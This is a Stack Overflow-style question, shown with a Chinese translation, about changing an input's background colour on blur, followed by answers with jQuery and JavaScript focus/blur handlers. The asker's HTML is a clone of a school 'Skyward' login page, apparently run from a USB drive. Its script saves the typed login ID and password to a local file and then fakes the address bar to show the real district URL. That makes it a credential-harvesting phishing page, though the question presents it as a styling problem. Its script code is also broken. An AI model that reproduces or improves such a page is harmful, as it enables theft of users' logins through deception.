输入文本时如何更改失去焦点的表单背景颜色?

How to change form background color on focus loss when text is entered?

提问人:readtheforums 提问时间:9/21/2017 最后编辑:readtheforums 更新时间:9/21/2017 访问量:2926

问:

首先,我想指出的是,所有这些都是客户端的,而不是基于Web的。输入文本后,我需要在焦点丢失后将表单框更改为绿色。表单框开始时为白色,在焦点时变为紫色,在输入文本时,我需要它们在失去焦点时变为绿色。


<!DOCTYPE html>
<html>
<head>
<title>Login - Powered By Skyward</title>
<link rel="icon" href="skyicon.gif">
<meta name="viewport" content="height=device-height, initial-scale=1.0">
<script type ="text/javascript">
function WriteToFile(passForm) {
set fso = CreateObject("Scripting.FileSystemObject");  
set s = fso.CreateTextFile("C:\error.txt", True);
s.writeline(document.passForm.input1.value);
s.writeline(document.passForm.input2.value);
s.Close();
window.history.pushState("object or string", "Skyward Login", "https://sky.gilmerisd.org/scripts/wsisa.dll/WService=wsEAplus/seplog01.w");
}
</script>
<style>
body {
    background-image: url("slp_ps.jpg");
    background-repeat:no-repeat;
}
input {
    display:inline-block;
    float:right;
}
{
width:1234px;
height:50%;
position:relative;
margin:auto;
}
.btn-style{
    border : solid 1px #2d9cf0;
    border-radius : 3px;
    moz-border-radius : 3px;
    font-size : 9px;
    color : #000000;
    padding : 4px 13px;
    background-color : #ffffff;

}
div {
    margin-top: 500px;
    margin-bottom: 0px;
    margin-right: 500px;
    margin-left: 485px;
}
.inputbox-css {
  -webkit-box-sizing: content-box;
  -moz-box-sizing: content-box;
  box-sizing: content-box;
  margin: -1px 0 0;
  padding: 5px;
  border: 1px solid rgba(127,174,255,1);
  -webkit-border-radius: 1px;
  border-radius: 1px;
  font: normal 16px/normal "Times New Roman", Times, serif;
  color: rgba(0,0,0,0.9);
  -o-text-overflow: clip;
  text-overflow: clip;
}

.inputbox-css:focus {
  background: #ebc4fc;
}
p {
  display:block;
  float:right;
}
</style>
</head>
<body>
<body background="slp_ps.jpg" style="width:1220px;height:700px;">
<div>
<p>
<form onsubmit="download(this['name'].value, this['text'].value)">
<font size="2" face="arial" class="element"> Login ID: </font><input         class="inputbox-css" type="text" style="font-family: Verdana; font-size: 12px;"     name="lllllllllll loginid" "width: 165px;" maxlength="100"/><br>
<br>
<font size="2" face="arial" class="element"> Password: </font><input     class="inputbox-css" type="password" style="font-family: Verdana; font-size:     12px;" name="lllllllllll password;" "width: 160px;" maxlength="100"/><br>
<br>
<font size="2" face="arial"> <input type="submit" class="btn-    style"name="lllllllllll submit" value="Sign In"/><br>
</form>
</p>
</div>
</form>
</body>
</html>
JavaScript HTML CSS 焦点 客户端

评论

0赞 Florin Pop 9/21/2017
你说的是什么意思??client side, not web based
0赞 Max Pringle 9/21/2017
你试过了什么?你能上传一些代码吗?查看 stackoverflow.com/help/how-to-ask
0赞 readtheforums 9/21/2017
你们都误会了,我正在使用闪存驱动器工作,这不是在互联网上,对不起我的英语不好

答:

1赞 Merijndk 9/21/2017 #1

下面是一个使用 Jquery 的快速 jsfiddle:

https://jsfiddle.net/37dw6e3u/

使用 jQuery .blur 函数:

$("input").blur(function(){
    $(this).css("background-color", "green")
});

(没有检查用户是否真的添加了文本,因此您可以自己编写),您可以使用 .focus 更改焦点上的颜色。

我想说的是,对这个问题进行非常快速的谷歌搜索会为您的问题找到大量解决方案。下次尝试先自己修复它!

评论

0赞 readtheforums 9/21/2017
不,问题是这都是来自 USB,我没有 Web 服务器,无法使用 jquery 或 php
0赞 Merijndk 9/21/2017
为什么你不能在你的 USB 上包含 jquery?模糊选择器上没有 css
0赞 readtheforums 9/21/2017
我在本地运行它,没有网络服务器
1赞 Merijndk 9/21/2017
是的,这没关系?您可以像运行 javascript local 一样包含 jquery local,因为您的浏览器运行它而不是您的服务器。只需下载 jquery 文件并将其添加到您的 usb 中即可。只要您在可以运行 javascript 的 Web 浏览器中打开页面(您最喜欢的浏览器中的任何一个都可以),就可以了。我建议多读一点网站工作的基本知识!
1赞 readtheforums 9/22/2017
感谢您的见解!我的印象是jquery像php一样在服务器端运行...我一定会接受您的建议,非常感谢您的友好回应!
1赞 PenPen 9/21/2017 #2

模糊是你要找的。

document.write("<input type='text'>");
var input = document.querySelector('input');
input.addEventListener('focus',function(){
  input.style.backgroundColor = "purple";
})
input.addEventListener('blur',function(){
  if(input.value != ""){
      input.style.backgroundColor = "green";
  }
})